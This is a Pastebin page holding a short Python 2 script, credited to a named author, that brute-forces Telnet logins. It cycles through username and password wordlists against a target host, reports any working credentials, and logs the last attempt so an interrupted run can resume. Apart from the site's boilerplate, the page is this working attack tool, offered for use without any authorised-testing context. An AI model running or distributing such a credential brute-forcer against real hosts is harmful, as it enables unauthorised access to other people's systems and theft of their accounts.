Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- """
- Telnet bruteforce
- Author: Juan Escobar
- Twitter: @itsecurityco
- """
- import sys
- import os
- import telnetlib
- # Modified according to requirements
- USERNAME_LABEL = "Username:"
- PASSWORD_LABEL = "Password:"
- ERROR_RESPONSE = "Error: Failed to authenticate."
- # Modified according to requirements
- log_file = "telnet.log"
- usage = "Usage: python %s host username_wordlist password_wordlist" % sys.argv[0]
- if len(sys.argv) < 4:
- print usage
- exit(0)
- host = sys.argv[1]
- handle = open(sys.argv[2], 'r')
- users = handle.read().splitlines()
- handle.close()
- handle = open(sys.argv[3], 'r')
- passwords = handle.read().splitlines()
- handle.close()
- session = False
- if os.path.isfile(log_file):
- session = True
- handle = open(log_file, 'r')
- session_last = handle.read().strip().split(":")
- handle.close()
- os.remove(log_file)
- print "Telnet bruteforce"
- for password in passwords:
- for user in users:
- if session == True:
- if session_last[0] == user and session_last[1] == password:
- session = False
- else:
- continue
- try:
- tn = telnetlib.Telnet(host)
- tn.read_until(USERNAME_LABEL)
- tn.write(user + "\n")
- tn.read_until(PASSWORD_LABEL)
- tn.write(password + "\n")
- print "[*] Trying '%s:%s' ..." % (user, password)
- error = tn.read_until(ERROR_RESPONSE)
- if error.find(ERROR_RESPONSE) != -1:
- print error
- pass
- else:
- print "[!] Credentials found: %s:%s" % (user, password)
- exit(0)
- print tn.close()
- except:
- handle = open(log_file, "w")
- handle.write("%s:%s" % (user, password))
- handle.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement